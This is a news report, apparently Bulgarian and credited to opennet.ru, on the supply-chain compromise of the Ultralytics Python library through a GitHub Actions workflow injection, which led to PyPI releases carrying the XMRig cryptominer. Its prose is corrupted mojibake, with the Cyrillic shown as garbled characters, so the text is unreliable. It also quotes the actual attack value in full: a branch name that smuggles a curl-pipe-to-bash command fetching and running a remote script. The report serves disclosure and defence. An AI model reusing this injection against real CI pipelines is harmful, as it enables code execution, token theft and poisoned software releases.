ΠΠ»ΠΎΡΠΏΠΎΡΡΠ΅Π±ΠΈΡΠ΅Π»ΠΈΡΠ΅ ΡΡΠΏΡΡ Π° Π΄Π° ΠΈΠ·ΠΏΡΠ»Π½ΡΡ ΠΊΠΎΠ΄ Ρ ΠΏΡΠ°Π²Π°ΡΠ° Π½Π° ΠΎΠ±ΡΠ°Π±ΠΎΡΡΠΈΠΊΠ° GitHub Actions Π² ΡΠ΅ΠΏΠΎΠ·ΠΈΡΠΎΡΠΈΠΉ Π½Π° Python Π±ΠΈΠ±Π»ΠΈΠΎΡΠ΅ΠΊΠ°ΡΠ° Ultralytics, ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π°Π½Π° Π·Π° ΡΠ΅ΡΠ°Π²Π°Π½Π΅ Π½Π° Π·Π°Π΄Π°ΡΠΈ Π² ΠΊΠΎΠΌΠΏΡΡΡΡΠ½ΠΎΡΠΎ Π·ΡΠ΅Π½ΠΈΠ΅, ΠΊΠ°ΡΠΎ ΡΠ°Π·ΠΏΠΎΠ·Π½Π°Π²Π°Π½Π΅ Π½Π° ΠΎΠ±Π΅ΠΊΡΠΈ Π² ΠΈΠ·ΠΎΠ±ΡΠ°ΠΆΠ΅Π½ΠΈΡ ΠΈ ΡΠ΅Π³ΠΌΠ΅Π½ΡΠΈΡΠ°Π½Π΅ Π½Π° ΠΈΠ·ΠΎΠ±ΡΠ°ΠΆΠ΅Π½ΠΈΡ. Π‘Π»Π΅Π΄ ΠΏΠΎΠ»ΡΡΠ°Π²Π°Π½Π΅ Π½Π° Π΄ΠΎΡΡΡΠΏ Π΄ΠΎ ΡΠ΅ΠΏΠΎΠ·ΠΈΡΠΎΡΠΈΡ Π°ΡΠ°ΠΊΡΠ²Π°ΡΠΈΡΠ΅ ΠΏΡΠ±Π»ΠΈΠΊΡΠ²Π°Ρ Π° Π² ΠΊΠ°ΡΠ°Π»ΠΎΠ³Π° PyPI Π½ΡΠΊΠΎΠ»ΠΊΠΎ Π½ΠΎΠ²ΠΈ ΠΈΠ·Π΄Π°Π½ΠΈΡ Π½Π° Ultralytics, Π²ΠΊΠ»ΡΡΠ²Π°ΡΠΈ Π·Π»ΠΎΠ½Π°ΠΌΠ΅ΡΠ΅Π½ΠΈ ΠΏΡΠΎΠΌΠ΅Π½ΠΈ Π·Π° Π΄ΠΎΠ±ΠΈΠ² Π½Π° ΠΊΡΠΈΠΏΡΠΎΠ²Π°Π»ΡΡΠΈ. ΠΡΠ΅Π· ΠΏΠΎΡΠ»Π΅Π΄Π½ΠΈΡ ΠΌΠ΅ΡΠ΅Ρ Π±ΠΈΠ±Π»ΠΈΠΎΡΠ΅ΠΊΠ°ΡΠ° Ultralytics Π΅ ΠΈΠ·ΡΠ΅Π³Π»Π΅Π½Π° ΠΎΡ ΠΊΠ°ΡΠ°Π»ΠΎΠ³Π° PyPI Π½Π°Π΄ 6.4 ΠΌΠΈΠ»ΠΈΠΎΠ½Π° ΠΏΡΡΠΈ.
ΠΠ° ΠΊΠΎΠΌΠΏΡΠΎΠΌΠ΅ΡΠΈΡΠ°Π½Π΅ Π½Π° ΡΠ΅ΠΏΠΎΠ·ΠΈΡΠΎΡΠΈΡ Π΅ Π±ΠΈΠ»Π° ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π°Π½Π° ΡΡΠ·Π²ΠΈΠΌΠΎΡΡ Π² ΠΏΠ°ΠΊΠ΅ΡΠ° ultralytics-actions, ΠΊΠΎΠΉΡΠΎ ΡΠ΅ ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π° Π·Π° Π°Π²ΡΠΎΠΌΠ°ΡΠΈΡΠ½ΠΎ ΡΡΠ°ΡΡΠΈΡΠ°Π½Π΅ Π½Π° ΠΎΠ±ΡΠ°Π±ΠΎΡΡΠΈΡΠΈ ΠΏΡΠΈ ΠΈΠ·Π²ΡΡΡΠ²Π°Π½Π΅ Π½Π° ΠΎΠΏΡΠ΅Π΄Π΅Π»Π΅Π½ΠΈ Π΄Π΅ΠΉΡΡΠ²ΠΈΡ Ρ ΡΠ΅ΠΏΠΎΠ·ΠΈΡΠΎΡΠΈΡ Π² GitHub, ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π°ΠΉΠΊΠΈ ΠΌΠ΅Ρ Π°Π½ΠΈΠ·ΠΌΠ° GitHub Actions. Π ΠΏΡΠΎΠ΅ΠΊΡΠ° ultralytics ΡΡΠ·Π²ΠΈΠΌΠΈΡΡ ΠΎΠ±ΡΠ°Π±ΠΎΡΡΠΈΠΊ Π΅ ΡΠ²ΡΡΠ·Π²Π°Π½ ΡΡΡ ΡΡΠ±ΠΈΡΠΈΠ΅ΡΠΎ pull_request_target ΠΈ Π΅ Π±ΠΈΠ» ΠΈΠ·Π²ΠΈΠΊΠ°Π½ ΠΏΡΠΈ ΠΏΠΎΡΡΡΠΏΠ²Π°Π½Π΅ Π½Π° Π½ΠΎΠ²ΠΈ pull-Π·Π°ΠΏΠΈΡΠ²Π°Π½ΠΈΡ. Π ΡΠ°ΡΡΠ½ΠΎΡΡ, Π·Π° ΡΠΎΡΠΌΠ°ΡΠΈΡΠ°Π½Π΅ Π½Π° ΠΊΠΎΠ΄Π° Π² ΠΏΠΎΠ΄Π°Π²Π°Π½ΠΈΡΠ΅ pull-Π·Π°ΠΏΠΈΡΠ²Π°Π½ΠΈΡ Π΅ Π±ΠΈΠ» ΠΈΠ·Π²ΠΈΠΊΠ°Π½ ΠΎΠ±ΡΠ°Π±ΠΎΡΡΠΈΠΊ format.yml ΠΈ Π΅ ΠΈΠ·ΠΏΡΠ»Π½Π΅Π½ ΠΊΠΎΠ΄ΡΡ, ΡΠΊΠ°Π·Π°Π½ Π² ΡΠ΅ΠΊΡΠΈΡΡΠ° βrunβ Π½Π° ΡΠ°ΠΉΠ»Π° action.yml, Π² ΠΊΠΎΠΉΡΠΎ ΡΠ° ΠΏΡΠΈΡΡΡΡΠ²Π°Π»ΠΈ shell-ΠΊΠΎΠΌΠ°Π½Π΄ΠΈ Ρ ΡΠ°Π±Π»ΠΎΠ½ΠΈ Π·Π° ΠΏΠΎΠ΄ΠΌΡΠ½Π°: git pull origin ${{ github.head_ref || github.ref }} git config βglobal user.name "${{ inputs.github_username }}" git config βglobal user.email "${{ inputs.github_email }}"
ΠΠΎ ΡΠΎΠ·ΠΈ Π½Π°ΡΠΈΠ½, Π² shell-ΠΊΠΎΠΌΠ°Π½Π΄ΠΈ Π±Π΅Π· ΠΏΠΎΠ΄Ρ ΠΎΠ΄ΡΡΠΎ Π΅ΠΊΡΠ°Π½ΠΈΡΠ°Π½Π΅ Π΅ Π±ΠΈΠ»ΠΎ Π²ΠΌΡΠΊΠ½Π°ΡΠΎ ΠΈΠΌΠ΅ΡΠΎ Π½Π° Git ΠΊΠ»ΠΎΠ½, ΡΠΏΠΎΠΌΠ΅Π½Π°Π²Π°Π½ Π² pull-Π·Π°ΠΏΠΈΡΠ²Π°Π½Π΅ΡΠΎ. ΠΠ½ΡΠ΅ΡΠ΅ΡΠ½ΠΎ Π΅, ΡΠ΅ ΠΏΡΠ΅Π· Π°Π²Π³ΡΡΡ Π² ΠΏΠ°ΠΊΠ΅ΡΠ° ultralytics-actions Π²Π΅ΡΠ΅ Π΅ Π±ΠΈΠ»Π° ΠΏΠΎΠΏΡΠ°Π²Π΅Π½Π° ΠΏΠΎΠ΄ΠΎΠ±Π½Π° ΡΡΠ·Π²ΠΈΠΌΠΎΡΡ, ΡΠ²ΡΡΠ·Π°Π½Π° Ρ ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π°Π½Π΅ Π½Π° Π²ΡΠ½ΡΠ½Π° ΡΡΠΎΠΉΠ½ΠΎΡΡ Π²ΡΠ² ΡΡΠ½ΠΊΡΠΈΡΡΠ° echo: echo "github.event.pull_request.head.ref: ${{ github.event.pull_request.head.ref }}"
ΠΠ° Π΄Π° ΠΎΡΠ³Π°Π½ΠΈΠ·ΠΈΡΠ°Ρ ΠΈΠ·ΠΏΡΠ»Π½Π΅Π½ΠΈΠ΅ΡΠΎ Π½Π° ΡΠ²ΠΎΡ ΠΊΠΎΠ΄ Π² ΠΊΠΎΠ½ΡΠ΅ΠΊΡΡΠ° Π½Π° ΠΎΠ±ΡΠ°Π±ΠΎΡΡΠΈΠΊΠ° GitHub Actions, Π°ΡΠ°ΠΊΡΠ²Π°ΡΠΈΡΠ΅ ΠΈΠ·ΠΏΡΠ°ΡΠΈΠ»ΠΈ pull-Π·Π°ΠΏΠΈΡΠ²Π°Π½Π΅ Π² ΡΠ΅ΠΏΠΎΠ·ΠΈΡΠΎΡΠΈΡ ultralytics, ΠΏΠΎΡΠΎΡΠ²Π°ΠΉΠΊΠΈ ΠΊΠ°ΡΠΎ ΠΈΠΌΠ΅ Π½Π° ΠΊΠ»ΠΎΠ½Π°: openimbot:$({curl,-sSfL,raw.githubusercontent.com/ultralytics/ultralytics/12e4f54ca3f2e69bcdc900d1c6e16642ca8ae545/file.sh}${IFS}|${IFS}bash)
Π‘ΡΠΎΡΠ²Π΅ΡΠ½ΠΎ, ΠΏΡΠΈ ΠΏΠΎΡΡΡΠΏΠ²Π°Π½Π΅ΡΠΎ Π½Π° pull-Π·Π°ΠΏΠΈΡΠ²Π°Π½Π΅ΡΠΎ, Π² ΠΊΠΎΠ΄Π° Π΅ Π±ΠΈΠ»ΠΎ Π²ΠΌΡΠΊΠ½Π°ΡΠΎ Π·Π°Π΄Π°Π΄Π΅Π½ΠΎΡΠΎ ΠΎΡ Π°ΡΠ°ΠΊΡΠ²Π°ΡΠΈΡΠ΅ ΠΈΠ·ΡΠ°ΠΆΠ΅Π½ΠΈΠ΅ "$(β¦)", ΠΊΠΎΠ΅ΡΠΎ ΠΏΡΠΈ ΠΏΠΎΡΠ»Π΅Π΄Π²Π°ΡΠΎ ΡΡΠ°ΡΡΠΈΡΠ°Π½Π΅ Π½Π° ΠΎΠ±ΡΠ°Π±ΠΎΡΡΠΈΠΊΠ° Π΅ Π΄ΠΎΠ²Π΅Π»ΠΎ Π΄ΠΎ ΠΈΠ·ΠΏΡΠ»Π½Π΅Π½ΠΈΠ΅ Π½Π° ΠΊΠΎΠ΄Π° "curl -sSfL raw.githubusercontent.com/β¦/file.sh | bash".

ΠΠ·ΠΏΡΠ»Π½Π΅Π½ΠΈΠ΅ΡΠΎ Π½Π° ΠΊΠΎΠ΄ Π² ΠΊΠΎΠ½ΡΠ΅ΠΊΡΡΠ° Π½Π° GitHub Actions ΠΌΠΎΠΆΠ΅ Π΄Π° ΡΠ΅ ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π° Π·Π° ΡΠ»Π°Π²ΡΠ½Π΅ Π½Π° ΡΠΎΠΊΠ΅Π½ Π·Π° Π΄ΠΎΡΡΡΠΏ Π΄ΠΎ Ρ ΡΠ°Π½ΠΈΠ»ΠΈΡΠ΅ΡΠΎ ΠΈ Π΄ΡΡΠ³ΠΈ ΠΊΠΎΠ½ΡΠΈΠ΄Π΅Π½ΡΠΈΠ°Π»Π½ΠΈ Π΄Π°Π½Π½ΠΈ. ΠΠ°ΠΊ ΡΠΎΡΠ½ΠΎ Π°ΡΠ°ΠΊΡΠ²Π°ΡΠΈΡΠ΅ ΡΡΠΏΡΡ Π° Π΄Π° ΡΡΠ·Π΄Π°Π΄Π°Ρ ΡΠ΅Π»ΠΈΠ·, ΠΏΠΎΠ»ΡΡΠ°Π²Π°ΠΉΠΊΠΈ Π²ΡΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ Π΄Π° ΠΈΠ·ΠΏΡΠ»Π½ΡΠ²Π°Ρ ΡΠ²ΠΎΡ ΠΊΠΎΠ΄ Π² GitHub Actions, Π²ΡΠ΅ ΠΎΡΠ΅ Π΅ Π½Π΅ΡΡΠ½ΠΎ, Π½ΠΎ ΡΠ΅ ΠΏΡΠ΅Π΄ΠΏΠΎΠ»Π°Π³Π°, ΡΠ΅ ΡΠΎΠ²Π° Π΅ ΡΡΠ°Π½Π°Π»ΠΎ Π²ΡΠ·ΠΌΠΎΠΆΠ½ΠΎ Π±Π»Π°Π³ΠΎΠ΄Π°ΡΠ΅Π½ΠΈΠ΅ Π½Π° ΠΏΡΠΎΠΌΡΠ½Π° Π² ΠΎΠ±ΡΠ°Π±ΠΎΡΡΠΈΠΊΠ° publish.yml (Π°ΡΠ°ΠΊΡΠ²Π°ΡΠΈΡΠ΅ ΠΏΡΠ΅ΠΌΠ°Ρ Π½Π°Π»ΠΈ ΠΏΡΠΎΠ²Π΅ΡΠΊΠ°ΡΠ° Π·Π° Π°ΠΊΠ°ΡΠ½ΡΠ°, ΠΎΡ ΠΊΠΎΠΉΡΠΎ Π΅ ΡΠ°Π·ΡΠ΅ΡΠ΅Π½ΠΎ ΠΏΡΠ±Π»ΠΈΠΊΡΠ²Π°Π½Π΅ΡΠΎ Π½Π° ΡΠ΅Π»ΠΈΠ·ΠΈ Π² PyPI) ΠΈ ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π°Π½Π΅ΡΠΎ Π½Π° ΡΠ΅Ρ Π½ΠΈΠΊΠ° Π·Π° ΠΎΡΡΠ°Π²ΡΠ½Π΅ Π½Π° ΠΊΠ΅ΡΠ° Π½Π° GitHub Actions, Π·Π° Π΄Π° ΠΏΠΎΠ΄ΠΌΠ΅Π½ΡΡ ΡΠ²ΠΎΠΈΡΠ΅ Π΄Π°Π½Π½ΠΈ Π² ΡΠ΅Π»ΠΈΠ·Π°.
ΠΡΡΠ²ΠΈΡΡ Π·Π»ΠΎΠ½Π°ΠΌΠ΅ΡΠ΅Π½ ΡΠ΅Π»ΠΈΠ· Π½Π° Ultralytics 8.3.41 Π±Π΅ ΠΏΡΠ±Π»ΠΈΠΊΡΠ²Π°Π½ ΠΎΡ ΠΏΡΠ΅ΡΡΡΠΏΠ½ΠΈΡΠΈΡΠ΅ Π² ΠΊΠ°ΡΠ°Π»ΠΎΠ³Π° PyPI Π½Π° 4 Π΄Π΅ΠΊΠ΅ΠΌΠ²ΡΠΈ Π² 23:51 (MSK) ΠΈ ΠΏΡΠ΅ΠΌΠ°Ρ Π½Π°Ρ Π² 12:15 Π½Π° ΡΠ»Π΅Π΄Π²Π°ΡΠΈΡ Π΄Π΅Π½. Π 15:47 Π±Π΅ ΠΏΡΠ±Π»ΠΈΠΊΡΠ²Π°Π½ ΠΎΡΠ΅ Π΅Π΄ΠΈΠ½ ΡΠ΅Π»ΠΈΠ· 8.3.42, ΠΊΠΎΠΉΡΠΎ Π±Π΅ΡΠ΅ ΠΏΡΠ΅ΠΌΠ°Ρ Π½Π°Ρ Π² 16:47. Π’Π°ΠΊΠ° Π·Π»ΠΎΠ½Π°ΠΌΠ΅ΡΠ΅Π½ΠΈΡΠ΅ Π²Π΅ΡΡΠΈΠΈ ΠΎΠ±ΡΠΎ Π±ΡΡ Π° Π΄ΠΎΡΡΡΠΏΠ½ΠΈ Π·Π° ΠΈΠ·ΡΠ΅Π³Π»ΡΠ½Π΅ ΠΎΠΊΠΎΠ»ΠΎ 13 ΡΠ°ΡΠ° (Π² PyPI ΡΠ΅ Π·Π°ΠΏΠΈΡΠ²Π°Ρ ΠΎΠΊΠΎΠ»ΠΎ 250 Ρ ΠΈΠ»ΡΠ΄ΠΈ ΠΈΠ·ΡΠ΅Π³Π»ΡΠ½ΠΈΡ Π½Π° Π±ΠΈΠ±Π»ΠΈΠΎΡΠ΅ΠΊΠ°ΡΠ° ultralytics Π½Π° Π΄Π΅Π½). Π ΡΡΡΡΠ°Π²Π° Π½Π° ΡΠ΅Π»ΠΈΠ·ΠΈΡΠ΅ 8.3.41 ΠΈ 8.3.42 ΠΈΠΌΠ°ΡΠ΅ ΠΊΠΎΠ΄, ΠΊΠΎΠΉΡΠΎ ΠΎΡΡΡΠ΅ΡΡΠ²ΡΠ²Π°ΡΠ΅ Π·Π°ΡΠ΅ΠΆΠ΄Π°Π½Π΅ ΠΎΡ Π²ΡΠ½ΡΠ΅Π½ ΡΡΡΠ²ΡΡ ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ XMRig Π·Π° Π΄ΠΎΠ±ΠΈΠ² Π½Π° ΠΊΡΠΈΠΏΡΠΎΠ²Π°Π»ΡΡΠ°.
Π Π°Π·ΡΠ°Π±ΠΎΡΡΠΈΡΠΈΡΠ΅ Π½Π° ΠΏΡΠΎΠ΅ΠΊΡΠ° ΠΎΡΡΡΡΠ°Π½ΠΈΡ
Π° ΠΏΡΠΎΠ±Π»Π΅ΠΌΠ° ΠΈ ΡΡΠ·Π΄Π°Π΄ΠΎΡ
Π° ΠΊΠΎΡΠΈΠ³ΠΈΡΠ°ΡΠΈ ΡΠ΅Π»ΠΈΠ·ΠΈ 8.3.43 ΠΈ 8.3.44, Π½ΠΎ Π΄Π²Π΅ Π΄Π½ΠΈ ΠΏΠΎ-ΠΊΡΡΠ½ΠΎ Π±Π΅ ΠΈΠ·Π²ΡΡΡΠ΅Π½Π° ΠΎΡΠ΅ Π΅Π΄Π½Π° Π°ΡΠ°ΠΊΠ°, ΠΏΡΠΈ ΠΊΠΎΡΡΠΎ ΠΏΡΠ΅ΡΡΡΠΏΠ½ΠΈΡΠΈΡΠ΅ ΠΏΡΠ±Π»ΠΈΠΊΡΠ²Π°Ρ
Π° Π΄Π½Π΅Ρ Π² 04:41 ΠΈ 05:27 (MSK) Π΄Π²Π° Π΄ΠΎΠΏΡΠ»Π½ΠΈΡΠ΅Π»Π½ΠΈ Π·Π»ΠΎΠ½Π°ΠΌΠ΅ΡΠ΅Π½ΠΈ ΡΠ΅Π»ΠΈΠ·Π° - 8.3.45 ΠΈ 8.3.46, ΠΊΠΎΠΈΡΠΎ Π²ΠΊΠ»ΡΡΠ²Π°Ρ Π΄ΡΡΠ³ ΠΊΠΎΠ΄ Π·Π° Π΄ΠΎΠ±ΠΈΠ². ΠΠΎ ΠΏΡΠΈΠΊΠ»ΡΡΠ²Π°Π½Π΅ Π½Π° ΡΠ°Π·ΡΠ»Π΅Π΄Π²Π°Π½Π΅ΡΠΎ Π½Π° ΠΏΠΎΡΡΠ΅Π±ΠΈΡΠ΅Π»ΠΈΡΠ΅ ΡΠ΅ ΠΏΡΠ΅ΠΏΠΎΡΡΡΠ²Π° Π΄Π° ΠΈΠ·ΡΠ°ΠΊΠ°Ρ Ρ ΠΈΠ½ΡΡΠ°Π»ΠΈΡΠ°Π½Π΅ΡΠΎ Π½Π° Π½ΠΎΠ²ΠΈ Π²Π΅ΡΡΠΈΠΈ ΠΈ Π΄Π° ΡΠΈΠΊΡΠΈΡΠ°Ρ Π² Π·Π°Π²ΠΈΡΠΈΠΌΠΎΡΡΠΈΡΠ΅ ΡΠ΅Π»ΠΈΠ·Π° 8.3.44.
ΠΠ·ΡΠΎΡΠ½ΠΈΠΊ: opennet.ru
